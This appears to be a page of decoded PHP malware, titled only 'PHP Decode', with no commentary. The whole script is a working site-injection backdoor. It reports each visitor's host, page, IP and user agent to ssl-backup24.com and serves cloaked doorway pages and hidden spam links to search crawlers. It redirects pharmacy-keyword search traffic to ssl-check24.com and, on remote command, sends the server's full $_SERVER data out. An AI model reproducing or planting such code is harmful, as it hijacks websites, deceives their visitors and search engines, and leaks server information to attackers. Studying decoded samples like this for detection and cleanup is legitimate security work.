PHP Decode

@error_reporting(0);

$client_ip = array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : '';
if(!$client_ip) 
	$client_ip=$_SERVER["REMOTE_ADDR"];
$client_ip = preg_replace('/.*unknown,\s*/', '', $client_ip);

define('originalip5DaI',	$client_ip);
define('cdomain5DaI',		"ssl-backup24.com");
define('rdomain5DaI',		"ssl-check24.com");
define('gt_php5DaI',		"gt.php");
define('showop_php5DaI',	"showop.php");
define('redir_php5DaI',	"redir.php");
define('info_php5DaI',		"info.php");


if(array_key_exists('HTTP_TEST', $_SERVER))	{
	echo(md5("TEST2016"));
	exit;
}

function fetch_url5DaI($url)    {
        if( function_exists('file_get_contents') && ini_get('allow_url_fopen'))
                $content =file_get_contents($url);
        elseif( function_exists('curl_init')){
                $c = curl_init();
                curl_setopt($c, CURLOPT_URL, $url);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
                $out = curl_exec($c);
                curl_close($c);
                $content = $out;
        }
        else{
                if(!preg_match('/^http(s){0,1}:\/\/(.*?)\//', $url, $matches))    {
                        return('');
                }
                $domain = $matches[2];
                $fp = fsockopen($domain, 80, $errno, $errstr, 30);
                if(!$fp)    
                        return('');
                $req = "GET $url HTTP/1.0

";
                fwrite($fp, $req);
                $out = '';
                while(!feof($fp))    {
                        $out .= fgets($fp, 256);
                }
                $content = substr($out, strpos($out, "

")+4);
        }
        return($content);
}


function ob_include_handler5DaI($buffer, $phase) {

	$deflated = false;
	$content = $buffer;

	if(function_exists('gzinflate'))	{
		$inf = @gzinflate(substr($buffer,10,-8));
		if($inf !== false){
			$content = $inf;
			$deflated = true;
		}
	}
	//--------------------------------------------------------------------------------


	$outsourceurl = "http://".cdomain5DaI."/".gt_php5DaI."?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode(originalip5DaI).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	$links_content = base64_decode(preg_replace('/<script.*?<\/script>/s', '', fetch_url5DaI($outsourceurl)));
	if(preg_match("/<a.*?>/is", $content)){
		preg_match_all("/<a.*?>.*?<\/a>/is", $links_content, $matches);
		$links = $matches[0];
		$comment = '';
		if(preg_match("/<!--.*?-->/s", $links_content, $matches))
				$comment = $matches[0];
		function anchor($data)  {
			if(!preg_match("/<img/i", $data[2])) 
				return "<!-- link_".$GLOBALS['__i']++." -->".$data[0];
		}
		srand(crc32($outsourceurl));
		for ($class_name = '', $i = 0, $z = strlen($a = 'abcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 8; $x = rand(0,$z), $class_name .= $a{$x}, $i++); 
		$GLOBALS['__i'] = 0;
		$content = preg_replace_callback("/<a(.*?)>(.*?)<\/a>/is", "anchor", $content);
		$i = $GLOBALS['__i'];

		if($i >= count($links)) {
			for($k=0;$k<count($links);$k++) {
				$links[$k] = preg_replace("/<a/", "<a class='$class_name'", $links[$k]);
				$content = preg_replace("/<!-- link_$k -->/s", $links[$k]. ' ', $content );
			}
		}
		else {
			$n_links = round(count($links)/$i);
			for($k=0;$k<$i;$k++){
				$out_content = '';
				for($p=0;$p<$n_links;$p++)
					if(($k*$n_links+$p) < count($links)){
						$links[$k*$n_links+$p] = preg_replace("/<a/i", "<a class='$class_name'", $links[$k*$n_links+$p]);
						$out_content .= $links[$k*$n_links+$p];
					}
				$content = preg_replace("/<!-- link_$k -->/s", $out_content. ' ', $content );
			}
		}
		$content = preg_replace("/<!-- link_(\d+) -->/s", '', $content);
		$hide_methods = array("display: none", "visibility: hidden", "text-indent:5000px", "position: absolute; left: 7000px; top: 0px", "position:absolute; left:4000px");
		$css = $hide_methods[array_rand($hide_methods)];
		if(preg_match("/<head/i", $content))       {
			$content = preg_replace("/(<head.*?>)/is", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $content, 1);
		}
		elseif(preg_match("/<html/i", $content))   {
			$content = preg_replace("/(<html.*?>)/is", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $content, 1);
		}
		else
			$content = preg_replace("/^/", "$comment<style>
.$class_name	{
	$css;
}
</style>", $content);
	}
	else {
		if (preg_match('/<body.*?>/i',$content)) {
			$content=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $content);
			$content=preg_replace('/(<body.*?>)/is', "$1$links_content", $content, 1);
		} 
		elseif (preg_match('/<\/body>/i',$content)) {
			$content=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $content);
			$content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1);
		}
	}


	//--------------------------------------------------------------------------------
	if($deflated)
		$content = gzencode($content);

	$clen = strlen($content);
	@header("Content-Length: $clen");

	return $content;
}


if(!array_key_exists('HTTP_USER_AGENT', $_SERVER))
	$_SERVER['HTTP_USER_AGENT'] = '';

$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);

if(!defined('FCONTENT_PROC') && preg_match("/Googlebot|bingbot|Slurp/", $_SERVER["HTTP_USER_AGENT"])) {
	define('FCONTENT_PROC',1);

	$outsourceurl="http://".cdomain5DaI."/".showop_php5DaI."?page=$page&version=2016";

	// trying to get doorway
	$out=fetch_url5DaI($outsourceurl);
	$out=preg_replace('/<script.*?<\/script>/s', '', $out);
	
	if(substr($out, 0, 32) == '8d777f385d3dfec8815d20f7496026dc')	{
		$extra_info = unserialize(base64_decode(substr($out, 32)));
		if(array_key_exists('headers', $extra_info))
			foreach($extra_info['headers'] as $h => $code)
				header($h, true, $code);
		if(array_key_exists('content', $extra_info))
			echo($extra_info['content']);
		if(array_key_exists('sendinfo', $extra_info))	{
			$data = base64_encode(serialize(array('file' => __FILE__, 'line' => __LINE__, 'server' => $_SERVER)));
			$outsourceurl="http://".cdomain5DaI."/".info_php5DaI."?data=$data";
			fetch_url5DaI($outsourceurl);
		}
		if(array_key_exists('stop', $extra_info))
			exit;
	}

	if ($out!="" and $out!="1" and !preg_match('/^\s+$/s', $out)) { // doorway exists
		header('Cache-Control: no-cache, no-store, must-revalidate');
		print $out;
		exit;
	}

	// Doorway not exists. Getting links.
	header('Cache-Control: no-cache, no-store, must-revalidate');
	ob_start('ob_include_handler5DaI');
}


if(isset($_SERVER["HTTP_REFERER"]) && preg_match('/live|msn|bing|yahoo|google|aol/',  $_SERVER["HTTP_REFERER"]) && !preg_match("/^(000000000000)/", originalip5DaI)) {
	if(array_key_exists('HTTP_CHECKER', $_SERVER) && $_SERVER['HTTP_CHECKER'] == '9bcf0edc75944b260de8279d7a6d8174')
		$page = base64_encode($_SERVER['HTTP_CHECKER']);
	else
		$page = base64_encode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia');
	$niche='noref';
	foreach($tabs as $tab)	 {
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	if($niche != 'noref')	{
		header('Cache-Control: no-cache, no-store, must-revalidate');
		header('Pragma: no-cache');
		header("Location: http://".rdomain5DaI."/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}
	$tag = $_SERVER["HTTP_HOST"];
	if(preg_match("/^www\./", $tag))
		$tag = preg_replace( "/^www\.(.*)$/", "$1", $tag);
	$tag = substr(strtolower(base64_encode($tag)), 0, 5);
	if(preg_match("/$tag/", $_SERVER["REQUEST_URI"]) or preg_match('/viagra|cialis|levitra|tadalafil|sildenafil|vardenafil/i', $_SERVER["REQUEST_URI"]))   {
		header('Cache-Control: no-cache, no-store, must-revalidate');
		header('Pragma: no-cache');
		header("Location: http://".rdomain5DaI."/r.pl?niche=nch&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}
    $outsourceurl="http://".cdomain5DaI."/".redir_php5DaI."?page=$page";
    $out=fetch_url5DaI($outsourceurl);
	$out=preg_replace('/\s*<script.*?<\/script>\s*/s', '', $out);
	if($out == '1')	{
		header('Cache-Control: no-cache, no-store, must-revalidate');
		header('Pragma: no-cache');
		header("Location: http://".rdomain5DaI."/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}
}